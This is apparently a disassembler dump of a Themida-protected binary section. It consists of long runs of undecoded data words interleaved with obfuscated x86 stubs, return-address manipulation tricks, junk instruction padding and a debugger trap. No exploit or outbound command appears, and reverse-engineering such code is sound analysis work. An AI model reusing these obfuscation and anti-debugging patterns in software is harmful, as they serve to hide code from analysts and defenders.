dd 719BD81h, 7D007FAh, 860F0000h, 1A5h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 16h, 0BBC35343h, 9D8BE62Ch
dd 7FA1E89h, 24DDBD8Bh, 0E38107FAh, 100h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 1Ah, 2EC35343h, 2B41B8A6h
dd 0BF90E85h, 0D7850FDBh, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 0EC7BC352h
dd 207D9529h, 0BD8307FAh, 7FDFFE4h, 45840F00h, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 19042444h
dd 40000000h, 0DA6BC350h, 89EF6937h, 0C0E9F78Bh, 6A000000h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h
dd 40000000h, 95F8C350h, 0FFE485C7h, 107FDh, 6A0000h, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
dd 55F9DC3h, 1DFC1899h, 9B53151h, 0E907FA15h, 6Bh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 59C35343h, 7DE0DB62h
dd 2EC73172h, 0E49B533h, 85C707FAh, 7FDFFE4h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5C3763
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3763 proc near ; CODE XREF: Themida_:005C375Bp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_5C3763 endp
; ---------------------------------------------------------------------------
db 2Bh
dd 0BE8B1h, 0C1FB0000h, 0DF687BD5h, 155A86B4h, 3830FCCh
dd 0F000000h, 8D5FF9BFh, 0FA1E899Dh, 4DBD8B07h, 8107FA31h
dd 0FFFEFF23h, 51006AFFh, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1804h, 0C3514100h, 67E4B3E7h, 0DB8C668Eh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0F6C35040h
dd 381EEBF7h, 0CE950h, 0D1D50000h, 0C10DC266h, 5CA0CCF7h
dd 8B5FD3C7h, 0FA2485BDh, 9E907h, 9EA50000h, 0F021AAC0h
dd 0F60E3458h, 840F04C3h, 90h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 19h, 86C35141h, 0C3B808BBh, 0A595FF29h
dd 6A07FA10h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 14042444h, 46000000h, 66F4C356h, 0C02CE681h, 24048950h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h
dd 3D7AA206h, 8459307Bh, 2850F60h, 0B3000000h, 5E87Ch
dd 9EC50000h, 0F8426E0h, 86h, 0BE615A00h, 28078A1Fh, 375E9h
dd 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1704h
dd 0C3504000h, 0A3AB398Dh, 4890Fh, 0BE660000h, 0B01849h
dd 95C68166h, 8170E69Ch, 0B36B7AC6h, 5771E43Bh, 0D8B60F5Eh
dd 2D19B589h, 6BA07FAh, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DA05C351h
dd 89C38B01h, 0FA1689BDh, 0C1F08B07h, 6A04E8h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 664CD8C3h, 6AE2F7h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 0BE1E79C3h, 2B896D37h, 0F9B70FD8h
dd 3800Fh, 0B70F0000h, 12E893F0h, 6D000000h, 0E4EA94D7h
dd 0BFCFE7Ch, 3A4243BAh, 0FCD598C6h, 0BE8A8h, 56070000h
dd 7D8966D6h, 0AD724121h, 5EF98BAFh, 6093505Eh, 31318D8Bh
dd 9D8907FAh, 7FA2939h, 19B5FF61h, 8107FA07h, 0D511D7F7h
dd 1995FF3Ah, 6A07FA10h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 99AC352h, 0FA2B2D95h
dd 6A00B007h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1A042444h, 47000000h, 803FC357h, 50178F5Ah, 0BE70E6F0h
dd 36AF8C91h, 0B037D681h, 71E42272h, 7E9h, 2D3CFA00h, 968C1E17h
dd 830F613Ch, 1FAh, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0A4C35040h, 2088AA21h, 0F3AE8CB6h, 117D8589h
dd 0B60F07FAh, 0AD9D89D8h, 0BA07FA17h, 6, 1F899589h, 0B52907FAh
dd 7FA0849h, 6AC38Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8BF860C3h, 0FA2C75BDh, 958B6007h
dd 7FA2F81h, 20759533h, 0C16107FAh, 5F5304E8h, 66E2F766h
dd 5F23CE81h, 0F78BD82Bh, 9E8h, 2DF33700h, 152BF154h, 5EFC8BF3h
dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h
dd 0C3534300h, 0E90973A9h, 0Fh, 0FC5AA7E8h, 54F633C7h
dd 0AAA21600h, 2BB7498Bh, 27880FD8h, 6A000001h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 8147C357h, 19DF63C1h, 57D95120h, 7B95Fh, 0C1830000h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1404h
dd 0C3554500h, 0C99D2949h, 0F07FA0Bh, 0D93BF7B7h, 0CC860Fh
dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
dd 52420000h, 61D49BC3h, 181D6DE3h, 13E99240h, 0D8000000h
dd 0C741BCD5h, 0E76F3Eh, 78B83723h, 0B7DF6138h, 8C66BD25h
dd 4C1F6D9h, 80840Fh, 8B500000h, 0FA2A25B5h, 95FF5E07h
dd 7FA10A5h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 18h, 48C35747h, 0C3CCB28h, 190EE781h, 6A5B26A4h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 0FD19C351h, 8803EF43h, 2B55E083h, 69BD8BC3h, 0FC07FA14h
dd 8343Dh, 13860F00h, 52000000h, 0B89BD2Bh, 895E07FAh
dd 0FA166585h, 4E907h, 0C08B0000h, 0C38BF88Bh, 0B70FD88Bh
dd 68E4BFFFh, 85C72A22h, 7FA185Dh, 1A7C29D9h, 0EA10EE81h
dd 8B66616Bh, 6AC08BF0h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 18042444h, 40000000h, 9021C350h, 89A73BE2h
dd 0FA1795BDh, 19BD8107h, 0D007FA07h, 0F000007h, 5485h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h
dd 0C3564600h, 0FA9E3FA4h, 96369BF0h, 1985FF9Eh, 6A07FA07h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h
dd 41000000h, 0D5D8C351h, 3EC741BCh, 8900E76Fh, 0FA2405BDh
dd 19B5FF07h, 6A07FA07h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 76E8C355h, 14F44C5Dh
dd 0FFAF62BEh, 1995FF36h, 6A07FA10h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 17042444h, 45000000h, 59E3C355h
dd 0B890D305h, 12345678h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 15h, 0B1C35545h, 6830F37h, 89000000h, 0FA01F195h
dd 0DA9D8D07h, 0E907FE08h, 0FFFFF884h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 5AC35040h, 66C18B5Ch, 4EBF08Bh
dd 0
dd 14418D01h, 8D8907FAh, 7FA0A9Dh, 199858Dh, 0F68107FAh
dd 3ED28DCCh, 60525090h, 8C0Fh, 0BB660000h, 0F61DA4Eh
dd 8E831h, 66C0000h, 0AF66549Ch, 870F75B7h, 0
; ---------------------------------------------------------------------------
pop edi
pop edx
pop eax
push eax
mov esi, 450F6C7Bh
nop
push 0
push edx
call sub_5C3DCD
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3DCD proc near ; CODE XREF: Themida_:005C3DC5p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C3DCD endp
; ---------------------------------------------------------------------------
and al, 0B8h
pop edi
mov dh, 31h
mov esi, edx
push 0
push 0
push ebx
call sub_5C3DF1
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3DF1 proc near ; CODE XREF: Themida_:005C3DE9p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5C3DF1 endp
; ---------------------------------------------------------------------------
cmp esi, esp
sub esi, [ebp+7FA2701h]
push 0
push 0
push edx
call sub_5C3E16
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C3E16 proc near ; CODE XREF: Themida_:005C3E0Ep
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 18h
inc edx
push edx
retn
sub_5C3E16 endp
; ---------------------------------------------------------------------------
mov ds:9C2CAFEh, al
movzx edi, dx
lea eax, [ebp+7FE0A95h]
add [ebp+7FA1871h], edi
add eax, 5
mov [ebp+7FA315Dh], ecx
push eax
mov [esp], eax
mov di, dx
ja loc_5C3E5D
pusha
mov edx, 413BE7F1h
xor ecx, 1951772Ah
popa
loc_5C3E5D: ; CODE XREF: Themida_:005C3E4Aj
push 0
jmp loc_5C3E76
; ---------------------------------------------------------------------------
dd 0E852CFE0h, 4FF08E1Fh, 6BA8B6B4h, 0E887DA5Bh
db 0FAh, 1Ah
; ---------------------------------------------------------------------------
loc_5C3E76: ; CODE XREF: Themida_:005C3E5Fj
push 0
jl loc_5C3E82
mov di, 0A569h
loc_5C3E82: ; CODE XREF: Themida_:005C3E78j
call dword ptr [ebp+7FA2BE9h]
mov esi, 4E5C33A8h
lea ebx, [ebp+7FDD711h]
call sub_5C3EA1
lodsd
and [ecx+68h], edx
inc ebp
test [edx], bl
movsb
xchg eax, ebp
; =============== S U B R O U T I N E =======================================
sub_5C3EA1 proc near ; CODE XREF: Themida_:005C3E93p
pusha
or esi, [ebp+7FA1E9Dh]
jo $+6
popa
pop esi
call ebx ; _iob
inc dword ptr [ebp+7FA1049h]
push 0
push edi
call sub_5C3EC3
and [edi-3Dh], bl
sub_5C3EA1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C3EC3 proc near ; CODE XREF: sub_5C3EA1+1Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5C3EC3 endp
; ---------------------------------------------------------------------------
db 38h
; ---------------------------------------------------------------------------
mov esi, eax
jmp loc_5C4D60
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C3EDB: ; CODE XREF: sub_5C47E5+56Dj
call $+5
pop ebp
sub ebp, 7FE0A9Fh
mov esi, [ebp+7FA2459h]
cmp dword ptr [ebp+7FA0719h], 7D0h
jbe loc_5C40BF
push 0
push ebp
call sub_5C3F08
and [ebp-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5C47E5
; =============== S U B R O U T I N E =======================================
sub_5C3F08 proc near ; CODE XREF: sub_5C47E5-8E5p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Dh
inc ebp
push ebp
retn
sub_5C3F08 endp
; ---------------------------------------------------------------------------
dd 2C5908E2h, 0CDC7667Ch, 9D01953Eh, 7FA0059h, 0DA59D8Bh
dd 6A07FAh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h
dd 56460000h, 1B3CC8C3h, 0AADAFBCh, 0E38169h, 6A000001h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 94C6C351h, 779D1B4Bh, 0FDB0BEBh, 9D85h, 55006A00h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 0D697CEF4h, 0FAE9575h, 68Ah, 21B58B00h, 0B07FA20h, 0FA2DE9B5h
dd 37BD8307h, 7FE09h, 1C840Fh, 0CE90000h, 0B000000h, 7AD181B7h
dd 0B267E84Ah, 0E90A836Ah, 89h, 2035B58Bh, 85C707FAh, 7FE0937h
dd 1, 0BE9h, 9BFCEE00h, 7DA5BDA2h, 94D0B25h, 64E9h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 0DB0CA3D9h, 85C75C7Ah, 7FE0937h, 0
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5C4033
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4033 proc near ; CODE XREF: Themida_:005C402Bp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C4033 endp
; ---------------------------------------------------------------------------
db 0AEh
dd 0E7ADFA6Dh, 12E9BD6Eh, 0D4000000h, 6363A5C3h, 200DBB01h
dd 20ED1585h, 347EE2A5h, 0A59D8D44h, 6A07FA0Dh, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 0F6FAC357h, 0C8FA464Dh, 0F94660Bh, 2381F1B7h, 0FFFFFEFFh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 25C35040h
dd 0FEFD82C7h, 19B52973h, 0F507FA02h
; ---------------------------------------------------------------------------
mov si, di
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C40BF: ; CODE XREF: sub_5C47E5-8EEj
mov bx, ds
test bl, 4
jz loc_5C4138
pusha
jmp loc_5C40E3
; END OF FUNCTION CHUNK FOR sub_5C47E5
; ---------------------------------------------------------------------------
db 61h, 1Ah, 1Fh
dd 9D937A80h, 0BDC2367Fh, 907BF05h
db 0F2h, 94h, 0C7h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C40E3: ; CODE XREF: sub_5C47E5-719j
jmp loc_5C40FA
; END OF FUNCTION CHUNK FOR sub_5C47E5
; ---------------------------------------------------------------------------
dd 0BC32E7C1h, 104C3994h, 260B08F4h, 53800E8Dh
db 4Ah, 0F7h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C40FA: ; CODE XREF: sub_5C47E5:loc_5C40E3j
popa
mov esi, 391FAB10h
call dword ptr [ebp+7FA10A5h]
mov edi, [ebp+7FA1CF1h]
nop
call near ptr loc_5C4123+2
mov byte ptr [esi+eax*4], 4Ah
sub al, 87h
sbb al, [ebp-2]
or ecx, [ebp+ebp*2+7BABD140h]
push esi
loc_5C4123: ; CODE XREF: sub_5C47E5-6D8p
mov ds:0F98B666Ah, al
pop esi
push eax
pusha
pusha
mov si, 2857h
mov cx, dx
popa
push ebx
pop eax
popa
nop
loc_5C4138: ; CODE XREF: sub_5C47E5-720j
jmp loc_5C4598
; END OF FUNCTION CHUNK FOR sub_5C47E5
; ---------------------------------------------------------------------------
pusha
xor cx, 8B4Fh
mov [ebp+7FA29BDh], edx
popa
mov al, 0
push 0
push esi
call sub_5C4157
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4157 proc near ; CODE XREF: Themida_:005C414Fp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C4157 endp
; ---------------------------------------------------------------------------
db 9Bh
dd 431F11Ah, 70E61C24h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Ch, 1AC35242h, 0F508EE3Ah, 11584358h, 80FDD3BFh
dd 6671E40Fh, 289FCF81h, 89D8B60Fh, 0FA187D8Dh, 0BAF28B07h
dd 6, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h
dd 84C35343h, 0F0B0FA5Eh, 0D9958931h, 8B07FA01h, 50006AC3h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 673D007h, 89AE7029h, 0FA2655B5h, 4E8C107h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 1DC35646h, 0FB2DB8B2h
dd 81F45E76h, 0E570DCC6h, 0E2F76613h, 21018D89h, 0D82B07FAh
dd 0CF59D29h, 505007FAh, 0FB31BF52h, 310F4185h, 8B0F60h
dd 0E9000000h, 0Ch, 3C607D6Eh, 0D38E80F3h, 475F0F49h, 89585A61h
dd 6A241Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
dd 52420000h, 0EC7788C3h, 0D8FE40D4h, 19B5FFB5h, 6A07FA07h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 77DCC356h, 35BD8B30h, 107FA25h, 0FA2099BDh
dd 1995FF07h, 307FA10h, 0FA1F9DB5h, 0E900B007h, 6, 2FFFF5D9h
dd 70E6D6B9h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 19h, 0BAC35545h, 18FB1F3Bh, 59589BEh, 0E407FA01h, 8B666071h
dd 61CA8BDFh, 830F613Ch, 28Ch, 11E9h, 208D500h, 3087F21Ah
dd 9690F5h, 3A3C5938h, 0B60F8E30h, 53006AD8h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0B509551Fh
dd 7FA16BDh, 2D59BD89h, 6BA07FAh, 1000000h, 0FA2C25B5h
dd 6AC38B07h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 690DC351h, 657289E5h, 0AE913h
dd 666B0000h, 0AD0FE774h, 238B746Ah, 2904E8C1h, 0FA08318Dh
dd 0E2F76607h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 0F9C35747h, 3860Fh, 8B660000h, 6AD82BF2h, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
dd 469DC351h, 0B439EC4Ah, 8B6E35C8h, 6A58F7h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 170424h, 53430000h, 6F5B7EC3h
dd 9E93Ah, 0B750000h, 699BB7Dh, 2BEEF067h, 7D880FD8h, 89000001h
dd 0FA1D79BDh, 7B907h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1D0424h, 53430000h, 8AED87C3h, 0AC8D2CF8h
dd 0BEEAC323h, 32EB96E7h, 6E8h, 964CF700h, 295C6E64h, 0FA079185h
dd 0C1835F07h, 89B58B00h, 2907FA00h, 0FA204585h, 0FD93B07h
dd 11F86h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1A04h, 0C3514100h, 0FC06CC5Dh, 3E9C0F3h, 0FA0E99B5h
dd 75B52307h, 8B07FA15h, 0FA16EDBDh, 0D98C6607h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 0C3C35141h, 0E9B58BE0h
dd 0BF07FA2Dh, 1B773E14h, 0F04C1F6h, 0B084h, 7AD68100h
dd 0FF4A10CCh, 0FA10A595h, 9D896007h, 7FA1135h, 2AB9B589h
dd 5B6107FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 14h, 89C35545h, 2BF0B70Fh, 0BE8C3h, 87D20000h, 44058050h
dd 70056443h, 3D5FF90Ah, 834h, 57860Fh, 0F600000h, 686h
dd 0F9BD2900h, 0E907FA0Ch, 14h, 37832D30h, 15FB7A18h, 39A92E03h
dd 85EF15CFh, 0F61E81DAh, 32E961h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 41F32BC3h
dd 63AA4ACCh, 89B9D33Eh, 0FA00E5BDh, 66C08B07h, 44C8EE81h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C4598: ; CODE XREF: sub_5C47E5:loc_5C4138j
mov eax, ebx
mov ebx, eax
movzx esi, bx
mov dword ptr [ebp+7FA1E89h], 76CFC771h
mov [ebp+7FA1E25h], esi
mov [ebp+7FA1151h], edx
mov eax, eax
pusha
push edi
mov ebx, 192F6CB4h
pop eax
push esi
sbb edi, 162C4FC6h
pop edx
popa
cmp dword ptr [ebp+7FA0719h], 7D0h
jnz loc_5C462E
push 0
push ebx
call sub_5C45E3
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5C47E5
; =============== S U B R O U T I N E =======================================
sub_5C45E3 proc near ; CODE XREF: sub_5C47E5-20Ap
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5C45E3 endp
; ---------------------------------------------------------------------------
db 72h
dd 4B45593h, 0BDBD29F9h, 0F07FA01h, 178Fh, 0BE800h, 9A630000h
dd 37B4DE58h, 4CBBBA13h, 5985899Ah, 5E07FA27h, 71985FFh
dd 880F07FAh, 6, 25BDB58Bh
; ---------------------------------------------------------------------------
cli
pop es
; START OF FUNCTION CHUNK FOR sub_5C47E5
loc_5C462E: ; CODE XREF: sub_5C47E5-213j
push dword ptr [ebp+7FA0719h]
movsx edi, si
call dword ptr [ebp+7FA1019h]
mov esi, [ebp+7FA2665h]
nop
inc eax
push 0
push ebx
call sub_5C4650
and [ebx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_5C47E5
; =============== S U B R O U T I N E =======================================
sub_5C4650 proc near ; CODE XREF: sub_5C47E5-19Dp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Dh
inc ebx
push ebx
retn
sub_5C4650 endp
; ---------------------------------------------------------------------------
xchg eax, edx
jno short loc_5C46B2
scasd
xchg dl, [ebx-10h]
pop edx
fbstp tbyte ptr [esi-77h]
lea esp, [ebp+16h]
cli
pop es
mov esi, [ebp+7FA1665h]
cmp dword ptr [ebp+7FA2705h], 0
jz loc_5C47BE
push 0
push esi
call sub_5C468E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C468E proc near ; CODE XREF: Themida_:005C4686p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_5C468E endp
; ---------------------------------------------------------------------------
dw 9F3Bh
dd 8E64B6C8h, 218D892Fh, 0E907FA27h, 0Ah
; ---------------------------------------------------------------------------
sahf
push eax
loc_5C46B2: ; CODE XREF: Themida_:005C4661j
icebp
out dx, eax
mov eax, ds:9003B74Dh
xor al, 83h
mov ebp, 7FA2C05h
add [edi], cl
test dh, bh
; ---------------------------------------------------------------------------
dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 14042444h, 43000000h, 0FC2C353h, 48Ah, 0E8BF6600h, 6E8608Ah
dd 14000000h, 0F7D59542h, 0BE900h, 5BA80000h, 0F2A69861h
dd 0D5BC4BBh, 7E95F40h, 5000000h, 657EF57Eh, 0FF610E57h
dd 0FA270595h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 0B3B5DD5Eh, 9D5AFEB2h
dd 1DD98D89h, 0C00B07FAh, 70840Fh, 6A0000h, 3E853h, 5B200000h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
pop ebx
loc_5C475A: ; CODE XREF: Themida_:005C47D6j
mov [esp+4], ebx
add dword ptr [esp+4], 18h
inc ebx
push ebx
retn
; ---------------------------------------------------------------------------
db 1Fh, 0E6h, 26h
dd 0BD8BE532h, 7FA2E51h, 0DE8h, 0DCC0E000h, 5513411h, 0E289F59Bh
dd 9D8954BAh, 7FA2991h, 668D8D5Fh, 8907FA4Fh, 0FA2E6DBDh
dd 5B807h, 8B0F0000h, 12h, 0DE9h, 797F4600h, 79F41F6Eh
dd 77576485h, 0E1FFFBC5h, 206DBD0Bh
; ---------------------------------------------------------------------------
cli
pop es
loc_5C47BE: ; CODE XREF: Themida_:005C467Dj
cmp dword ptr [ebp+7FA1F25h], 0
jz loc_5C4D50
jb loc_5C47EC
call near ptr sub_5C47E5
loopne loc_5C475A
push eax
cmc
mov al, 0A5h
repne cmp [ebx], bh
test [esi+2ECFEC20h], ebx
; =============== S U B R O U T I N E =======================================
sub_5C47E5 proc far ; CODE XREF: Themida_:005C47D1p
; FUNCTION CHUNK AT 005C3EDB SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005C40BF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005C40E3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005C40FA SIZE 00000043 BYTES
; FUNCTION CHUNK AT 005C4598 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 005C462E SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005C4D50 SIZE 00000007 BYTES
mov esi, [ebp+7FA1EB1h]
pop edi
loc_5C47EC: ; CODE XREF: Themida_:005C47CBj
cmp dword ptr [ebp+7FA2C05h], 0
jz loc_5C4D50
mov edi, 96A3B83h
lea ecx, [ebp+7FA1D71h]
call sub_5C481B
adc dword ptr [edi], 0FFFFFFE4h
retf
sub_5C47E5 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 18h, 0AEh, 27h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 0CEh, 0E4h, 0D0h
dd 23395576h
db 7Eh, 8Bh, 0DDh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_5C481B proc near ; CODE XREF: sub_5C47E5+1Fp
jmp sub_5C482A
sub_5C481B endp
; ---------------------------------------------------------------------------
dd 0DE5F101Dh, 8ADAA4B1h
db 0EFh, 60h
; =============== S U B R O U T I N E =======================================
sub_5C482A proc near ; CODE XREF: sub_5C481Bj
pop esi
mov dword ptr [ecx], 44B27C84h
jle loc_5C483E
jge loc_5C483E
cmc
loc_5C483E: ; CODE XREF: sub_5C482A+7j
; sub_5C482A+Dj
add dword ptr [ecx], 1499CFCBh
mov dword ptr [ecx+4], 0CE706B34h
push 0
push eax
call sub_5C4856
and [eax-3Dh], bl
sub_5C482A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_5C4856 proc near ; CODE XREF: sub_5C482A+24p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_5C4856 endp
; ---------------------------------------------------------------------------
pop es
int 3 ; Trap to Debugger
ror byte ptr [esi+164AF0E3h], 1
xor al, 23h
mov ch, 6Dh
or bh, dl
pop es
mov esi, 1425254Ch
add dword ptr [ecx+4], 31D6D710h
and di, 498Ch
push 0
push 0
push ebp
call sub_5C4893
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5C4893 proc near ; CODE XREF: Themida_:005C488Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ch
inc ebp
push ebp
retn
sub_5C4893 endp
; ---------------------------------------------------------------------------
db 7Fh
dd 0EF949A27h, 1996CB4Ah, 1D71858Dh, 96007FAh, 0FA1C1995h
dd 3810F07h, 80000000h, 5061EBD8h, 5E8h, 96CEC500h, 26BEC966h
dd 5E58D64Fh, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 7218C356h, 5880Fh
dd 81660000h, 168A5EEh, 0FA15859Dh, 2595FF07h, 8B07FA1Fh
dd 0FA3455BDh, 718D8D07h, 107FA1Dh, 0FA0851BDh, 1C707h
dd 89000000h, 0FA2BD195h, 65BD8907h, 0C707FA1Eh, 441h
dd 12E90000h, 5B000000h, 0E277CE94h, 79CACFE8h, 0A2EB203h
dd 3D8496ACh, 0FC00B95h, 6984h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 990C497Eh
dd 6840F50h, 8B000000h, 0FA1611B5h, 8D8D5F07h, 7FA4F66h
dd 0AE58D29h, 5B807FAh, 0FF000000h, 57006AE1h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 7F079524h
dd 76BA470h, 0AD8589h, 8D8D07FAh, 7FA1D71h, 0C7FAB70Fh
dd 0AA727C01h, 56006A44h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 9D892943h, 7FA0BD5h, 181F28Bh
dd 1499CFCBh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 19h, 0B8C35747h, 0F016F08h, 99BD8BA7h, 0C707FA25h, 753C0441h
dd 6ACE78h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 4E89C9C3h, 75FA6523h, 9D89D501h, 7FA01A5h
dd 10044181h, 6A31D6D7h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1404h, 0C3564600h, 8DF88BA1h, 0FA1D7185h
dd 0F7816607h, 0BD8B0858h, 7FA2C01h, 89F38B50h, 95892404h
dd 7FA0E65h, 1F2595FFh, 6A07FAh, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 2BA192C3h, 0FA20F5B5h
